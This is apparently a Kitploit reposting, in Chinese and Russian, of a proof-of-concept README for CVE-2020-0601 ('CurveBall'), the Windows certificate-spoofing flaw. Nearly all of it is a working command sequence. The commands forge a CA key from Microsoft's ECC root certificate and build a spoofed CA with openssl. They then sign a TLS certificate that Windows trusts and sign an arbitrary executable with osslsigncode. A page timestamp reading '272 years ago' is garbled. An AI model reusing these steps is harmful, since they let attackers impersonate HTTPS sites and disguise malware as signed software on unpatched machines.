CVE-2020-0601_PoC — CVE-2020-0601(又名curveball)的演示。基于https://github.com/kudelskisecurity/chainoffools和https://github.com/ly4k/CurveBall上提供的PoC。 | Kitploit
joelbts/cve-2020-0601_pocCVE-2020-0601_PoC
CVE-2020-0601(又名curveball)的演示。基于https://github.com/kudelskisecurity/chainoffools和https://github.com/ly4k/CurveBall上提供的PoC。
272 лет назад
Откройте для себя самые используемые инструменты нашего сообщества.
ТРЕБОВАНИЯ/ИСПОЛЬЗУЕМОЕ ПО
python версия 3.11
openssl версия 3.1
osslsigncode версия 2.5
библиотеки Python в gen-key.py и httpServer.py
ПОДПИСАНИЕ TLS-СЕРТИФИКАТА
Создание поддельного ключа УЦ из доверенного корневого сертификата (должен быть secp384r1 и в формате PEM)
python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer
Создание поддельного УЦ с использованием поддельного ключа
openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca.cnf
Создание ещё одного SSL-сертификата (любого типа), который будет подписан поддельным УЦ
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Создание запроса на подпись сертификата для сертификата
openssl req -new -key cert.key -out cert.csr -config openssl.cnf -reqexts v3_req
Подписание CSR с использованием сертификата поддельного УЦ
openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl.cnf -extensions v3_req
Запуск HTTPS-сервера с поддельной цепочкой сертификатов
НА МАШИНЕ С WINDOWS
Сертификат должен быть доверенным, и должно отображаться 'Hello World'
Если возникла ошибка, проверьте правильность системного времени
ПОДПИСАНИЕ КОДА
Создание поддельного ключа УЦ из доверенного корневого сертификата (должен быть secp384r1 и в формате PEM)
python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer
Создание поддельного УЦ с использованием поддельного ключа
openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca-cs.cnf
Создание нового ключа, который можно использовать для подписания кода
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Создание запроса на подпись сертификата с использованием ключа, который мы можем подписать
openssl req -new -key cert.key -out cert.csr -config openssl-cs.cnf -reqexts v3_req
Подписание CSR с использованием поддельного УЦ
openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl-cs.cnf -extensions v3_req
Упаковка ключа, сертификата и поддельного УЦ в файл PKCS12 для подписания exe-файлов
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed-ca.pem -name "Code Signing" -out cert.p12
Использование файла PKCS12 для подписи исполняемого файла
osslsigncode sign -pkcs12 cert.p12 -n "Signed by curveball" -in filename.exe -out filename_signed.exe